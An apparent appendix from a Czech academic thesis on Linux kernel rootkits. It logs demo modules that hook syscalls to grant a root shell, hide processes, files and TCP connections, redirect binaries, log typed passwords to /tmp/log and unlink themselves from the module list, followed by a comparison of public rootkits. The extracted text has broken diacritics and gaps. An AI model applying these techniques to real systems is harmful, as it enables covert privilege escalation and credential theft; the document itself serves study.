[17186798.816000] Modul sct_idt byl uspesne odstranen z jadra.
57
v. hack sct.c
user@nx6125:~/src/demos/syscalls/hack_sct$ make > /dev/null
user@nx6125:~/src/demos/syscalls/hack_sct$ make run
sudo insmod hack_sct.ko; dmesg | tail -n 2; ./setuid; sudo rmmod hack_sct.ko;
dmesg | tail -n 1;
[17183096.892000] Modul hack_sct se zavadi do jadra.
[17183096.892000] Modul hack_sct zaveden.
Uzivatelske ID: 1000 --> sys_setuid(12345) --> 0
sh-3.1$ exit
exit
[17183098.788000] Modul hack_sct byl uspesne odstranen z jadra.
vi. hack routine.c
user@pc:~/src/demos/syscalls/hack_routine$ make > /dev/null
user@pc:~/src/demos/syscalls/hack_routine$ make run
sudo insmod hack_routine.ko; dmesg | tail -n 2; ./setuid; sudo rmmod hack_routine.ko;
dmesg | tail -n 1;
[17180186.296000] Modul hack_routine se zavadi do jadra.
[17180186.296000] Modul hack_routine zaveden.
Uzivatelske ID: 1000 --> sys_setuid(12345) --> 0
sh-3.1$ exit
exit
[17180188.208000] Modul hack_routine byl uspesne odstranen z jadra.
vii. hack scr.c
user@pc:~/src/demos/syscalls/hack_scr$ make > /dev/null
user@pc:~/src/demos/syscalls/hack_scr$ make run
sudo insmod hack_scr.ko; dmesg | tail -n 2; ./setuid; sudo rmmod hack_scr.ko;
dmesg | tail -n 1;
[17181740.644000] Modul hack_scr se zavadi do jadra.
[17181740.644000] Modul hack_scr zaveden.
Uzivatelske ID: 1000 --> sys_setuid(12345) --> 0
sh-3.1$ exit
exit
[17181742.708000] Modul hack_scr byl uspesne odstranen z jadra.
viii. hack scrser.c
user@pc:~/src/demos/syscalls/hack_scrser$ make > /dev/null
user@pc:~/src/demos/syscalls/hack_scrser$ make run
sudo insmod hack_scrser.ko; dmesg | tail -n 2; ./setuid; sudo rmmod hack_scrser.ko;
dmesg | tail -n 1;
[17188940.256000] Modul hack_scrser se zavadi do jadra.
[17188940.256000] Modul hack_scrser zaveden.
Uzivatelske ID: 1000 --> sys_setuid(12345) --> 0
sh-3.1$ exit
exit
[17188942.092000] Modul hack_scrser byl uspesne odstranen z jadra.
ix. hack idt.c
user@pc:~/src/demos/syscalls/hack_idt$ make > /dev/null
user@pc:~/src/demos/syscalls/hack_idt$ make run
sudo insmod hack_idt.ko; dmesg | tail -n 2; ./setuid; sudo rmmod hack_idt.ko;
dmesg | tail -n 1;
[17190505.068000] Modul hack_idt se zavadi do jadra.
[17190505.068000] Modul hack_idt zaveden.




[17190506.936000] Modul hack_idt byl uspesne odstranen z jadra.
x. hack idtr.c
user@pc:~/src/demos/syscalls/hack_idtr$ make > /dev/null
user@pc:~/src/demos/syscalls/hack_idtr$ make run
sudo insmod hack_idtr.ko; dmesg | tail -n 2; ./setuid; sudo rmmod hack_idtr.ko;
dmesg | tail -n 1;
[17207992.696000] Modul hack_idtr se zavadi do jadra.
[17207992.696000] Modul hack_idtr zaveden.
Uzivatelske ID: 1000 --> sys_setuid(12345) --> 0
sh-3.1$ exit
exit
[17207994.816000] Modul hack_idtr byl uspesne odstranen z jadra.
xi. hijack proces syscall.c
user@pc:~/src/demos/hijack/proces/syscall$ make > /dev/null
user@pc:~/src/demos/hijack/proces/syscall$ make run
...
--> Hledam proces s PID=1 (init)
1 ? 00:00:01 init
--> Skryvam proces s PID=1 (init)
--> Hledam proces s PID=1 (init)
--> Obnovuji system do puvodniho stavu
xii. hijack proces vfs.c
user@pc:~/src/demos/hijack/proces/vfs$ make > /dev/null
user@pc:~/src/demos/hijack/proces/vfs$ make run
...
--> Hledam proces s PID=1 (init)
1 ? 00:00:01 init
--> Skryvam proces s PID=1 (init)
--> Hledam proces s PID=1 (init)
--> Obnovuji system do puvodniho stavu
xiii. hijack proces sched1.c
user@pc:~/src/demos/hijack/proces/scheduler1$ make > /dev/null
user@pc:~/src/demos/hijack/proces/scheduler1$ make run
...
--> Hledam proces s PID=1 (init)
1 ? 00:00:01 init
--> Skryvam proces s PID=1 (init)
--> Hledam proces s PID=1 (init)
--> Obnovuji system do puvodniho stavu
xiv. hijack proces sched2.c
user@pc:~/src/demos/hijack/proces/scheduler2$ make > /dev/null
user@pc:~/src/demos/hijack/proces/scheduler2$ make run
./hijack_proces_sched2_run.sh
--> Hledam proces s PID=1 (init)
1 ? 00:00:01 init
--> Skryvam proces s PID=1 (init)
--> Hledam proces s PID=1 (init)
--> Obnovuji system do puvodniho stavu
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xv. hijack proces sched3.c
user@pc:~/src/demos/hijack/proces/scheduler3$ make > /dev/null
user@pc:~/src/demos/hijack/proces/scheduler3$ make run
...
--> Hledam proces s PID=1 (init)
1 ? 00:00:01 init
--> Skryvam proces s PID=1 (init)
--> Hledam proces s PID=1 (init)
--> Obnovuji system do puvodniho stavu
xvi. hijack file syscall.c
user@pc:~/src/demos/hijack/file/syscall$ make > /dev/null
user@pc:~/src/demos/hijack/file/syscall$ make run
...
--> Vytvarim soubor /tmp/skryse
--> ls /tmp/ | grep skryse
skryse
--> Skryvam soubory obsahujici ve svem nazvu ’skryse’
--> ls /tmp/ | grep skryse
--> Obnovuji system do puvodniho stavu
xvii. hijack file vfs.c
user@pc:~/src/demos/hijack/file/vfs$ make > /dev/null
user@pc:~/src/demos/hijack/file/vfs$ make run
...
--> Vytvarim soubor /tmp/skryse
--> ls /tmp/ | grep skryse
skryse
--> Skryvam soubory obsahujici ve svem nazvu ’skryse’
--> ls /tmp/ | grep skryse
--> Obnovuji system do puvodniho stavu
xviii. hijack record syscall.c
user@pc:~/src/demos/hijack/record/syscall$ make > /dev/null
user@pc:~/src/demos/hijack/record/syscall$ make run
...
--> Vytvarim soubor /tmp/text
--> cat /tmp/text
Skakal pes pres oves pres zelenou louku.
--> Provadim globalni zamenu z ’pres’ na ’chce’
user@pc:~/src/demos/hijack/record/syscall$ cat /tmp/text
Skakal pes chce oves chce zelenou louku.
user@pc:~/src/demos/hijack/record/syscall$ sudo rmmod hijack_record_syscall.ko
xix. hijack record vfs.c
user@pc:~/src/demos/hijack/record/vfs$ make > /dev/null
user@pc:~/src/demos/hijack/record/vfs$ make run
...
--> Vytvarim soubor /tmp/text
--> cat /tmp/text
Skakal pes pres oves pres zelenou louku.
--> Provadim globalni zamenu z ’pres’ na ’chce’
user@pc:~/src/demos/hijack/record/vfs$ cat /tmp/text
Skakal pes chce oves chce zelenou louku.
user@pc:~/src/demos/hijack/record/vfs$ sudo rmmod hijack_record_vfs.ko
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xx. hijack connection net.c
user@pc:~/src/demos/hijack/connection/net$ make > /dev/null
user@pc:~/src/demos/hijack/connection/net$ make run
...
--> Vypisuji veskera TCP spojeni 127.0.0.1 (localhost)
tcp 0 0 localhost:38951 *:* LISTEN
tcp 0 0 localhost:mysql *:* LISTEN
...
tcp 0 0 localhost:38951 localhost:52288 SPOJENO
tcp 0 0 localhost:52288 localhost:38951 SPOJENO
--> Skryvam veskera TCP spojeni 127.0.0.1
--> Vypisuji veskera TCP spojeni 127.0.0.1 (localhost)
--> Obnovuji system do puvodniho stavu
xxi. hijack application syscall.c




PID TTY TIME CMD
5160 pts/1 00:00:01 bash
8813 pts/1 00:00:00 make
8815 pts/1 00:00:00 sh
8816 pts/1 00:00:00 ps





--> Obnovuji system do puvodniho stavu
xxii. hijack application doexecve.c




PID TTY TIME CMD
5178 pts/1 00:00:00 bash
7597 pts/1 00:00:00 make
7599 pts/1 00:00:00 hijack_applicat
7604 pts/1 00:00:00 ps





--> Obnovuji system do puvodniho stavu
xxiii. hijack application openexec.c




PID TTY TIME CMD
5178 pts/1 00:00:00 bash
7481 pts/1 00:00:00 make
7483 pts/1 00:00:00 hijack_applicat
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7488 pts/1 00:00:00 ps





--> Obnovuji system do puvodniho stavu
xxiv. hijack application loadbinary.c




PID TTY TIME CMD
5178 pts/1 00:00:00 bash
8866 pts/1 00:00:00 make
8868 pts/1 00:00:00 sh
8869 pts/1 00:00:00 ps
--> Presmerovavam /bin/ps na /bin/ls
--> /bin/ps (odchyceni load_binary() pres sys_open())
PID TTY TIME CMD
5178 pts/1 00:00:00 bash
8866 pts/1 00:00:00 make
8868 pts/1 00:00:00 sh





--> Obnovuji system do puvodniho stavu
xxv. hijack logging receive buf.c
user@pc:~/src/demos/hijack/logging/receive_buf$ make > /dev/null
user@pc:~/src/demos/hijack/logging/receive_buf$ make run
./hijack_logging_receive_buf_run.sh






Changing password for user
(current) UNIX password:
Enter new UNIX password:
Retype new UNIX password:
passwd: heslo bylo u´speˇsˇneˇ zmeˇneˇno
sh-3.1$ exit
exit
--> Obnovuji system do puvodniho stavu
Zaznam (/tmp/log):ls^Mpasswd^Mheslopuvodni^Mheslonove^Mheslonove^Mexit^M
rm /tmp/log
xxvi. hijack logging syscall.c
user@pc:~/src/demos/hijack/logging/syscall$ make > /dev/null
user@pc:~/src/demos/hijack/logging/syscall$ make run
...












xxvii. hijack module unlink.c
user@pc:~/src/demos/hijack/module/unlink$ make > /dev/null
user@pc:~/src/demos/hijack/module/unlink$ make run
...
--> Modul se po zavedeni odstrani ze seznamu registrovanych modulu (lsmod, /proc/modules).
Pro odstraneni modulu bude nutny restart systemu!





--> Preklad modulu sticker
--> Preklad modulu original
--> Vytvarim adresar both
--> Spojuji oba moduly do jednoho s nazvem both.o
--> Prepis funkci
--> Preklad modulu both













xxx. hijack interface procfs.c
user@pc:~/src/demos/hijack/interface/procfs$ make > /dev/null
user@pc:~/src/demos/hijack/interface/procfs$ make run
...
--> Vytvarim soubor /proc/test
--> cat /proc/test
test: = ’0’
--> echo ’100’ > /proc/test
--> cat /proc/test
test: = ’100’






struct task struct include/linux/sched.h















PROC ROOT INO include/linux/proc fs.h
vfs readdir() fs/readdir.c
filldir() fs/readdir.c
struct task struct linux/sched.h






struct prio array include/linux/sched.h
for each process(p) include/linux/sched.h
struct file include/linux/fs.h
struct file operations include/linux/fs.h
struct proc dir entry include/linux/proc fs.h






struct linux binfmt include/linux/binfmts.h
irq entries start() arch/i386/kernel/entry.S
do IRQ() arch/i386/kernel/irq.c
handle IRQ event() kernel/irq/handle.c
handle scancode() drives/char/keyboard.c
put queue() drives/char/keyboard.c
receive buf() drivers/char/n tty.c














Pro srovna´n´ı bylo vybra´no sˇest nejprogresivneˇjˇs´ıch verˇejny´ch rootkit˚u. Ke kazˇde´mu
z nich je prˇipojena strucˇna´ charakteristika na´sledovan´ı podrobnou tabulkou popisuj´ıc´ı jejich
vlastnosti.
na´zev popis
adore-ng-056 Rootkit od autora slavne´ undergroundove´ skupiny TEAM TESO 7350.
Pracuje na principu modifikace virtua´ln´ıho souborove´ho syste´mu. Ko´d
vynika´ svoj´ı cˇistotou a prˇenositelnost´ı.
enyelkm-1.2 Ko´d vyuzˇ´ıva´ princip zmeˇny rozhran´ı syste´movy´ch vola´n´ı pomoc´ı zmeˇny
rutiny syste´move´ho vola´n´ı. Vyj´ımku tvorˇ´ı kryt´ı spojen´ı, k cˇemuzˇ vyuzˇ´ıva´
virtua´ln´ı souborovy´ syste´m. Pro skry´va´n´ı pouzˇ´ıva´ pevne´ hodnoty, ne-
mus´ı tedy komunikovat s uzˇivatelsky´m prostorem.
mood-nt 2.3 Prˇedlohou tomuto rootkitu byl rootkit SucKIT-1.3b, jezˇ byl ve sve´ dobeˇ
povazˇova´n za jednoznacˇnou sˇpicˇku. Jedna´ se o plneˇ vybaveny´ rootkit
s velky´m mnozˇstv´ım zmeˇn v tabulce syste´movy´ch vola´n´ı. Bohuzˇel t´ım
docha´z´ı k znacˇne´ za´teˇzˇi napadene´ho syste´mu. Zaj´ımavost´ı jsou trˇi mo´dy
spusˇteˇn´ı a vysoky´ stupenˇ vlastn´ıho kryt´ı.
override Rootkit strˇedn´ı velikosti postaveny´ na klasicky´ch prˇ´ıstupech nad princi-
pem zmeˇn v tabulce syste´movy´ch vola´n´ı. Ko´d ma´ minima´ln´ı antidetekcˇn´ı
ochranu, je tedy lehce odhalitelny´ zkusˇeneˇjˇs´ım spra´vcem cˇi detekcˇn´ım
na´strojem. Je vhodny´ ke studijn´ım u´cˇel˚um.
phalanx-b6 Za´stupce, ktery´ ke sve´mu zaveden´ı pouzˇ´ıva´ /dev/mem. Jedna´ se o expe-
rimenta´ln´ı verzi s velkou rˇadou heuristik a sˇpatneˇ prˇenositelne´ho ko´du.
Stoj´ı na principu zmeˇn v tabulce syste´movy´ch vola´n´ı.
SucKIT2rc2 Tradicˇn´ı cˇesky´ ”vy´robek“ od tv˚urce vysoce profesiona´ln´ıch root-
kit˚u. I prˇes pouzˇit´ı /dev/kmem si zachova´va´ dobrou prˇenositelnost a
prˇehlednost. Navazuje na historicky slavnou verzi 1.3b urcˇenou pro 2.4
ja´dra. Stal se symbolem rˇady svy´ch na´stupc˚u. Tato verˇejna´ verze je
pouze experimenta´ln´ı, prˇesto v n´ı lze spatrˇit rˇadu pokrokovy´ch rys˚u a
origina´ln´ıch mysˇlenek. Vyuzˇ´ıva´ zmeˇny v tabulce prˇerusˇen´ı.
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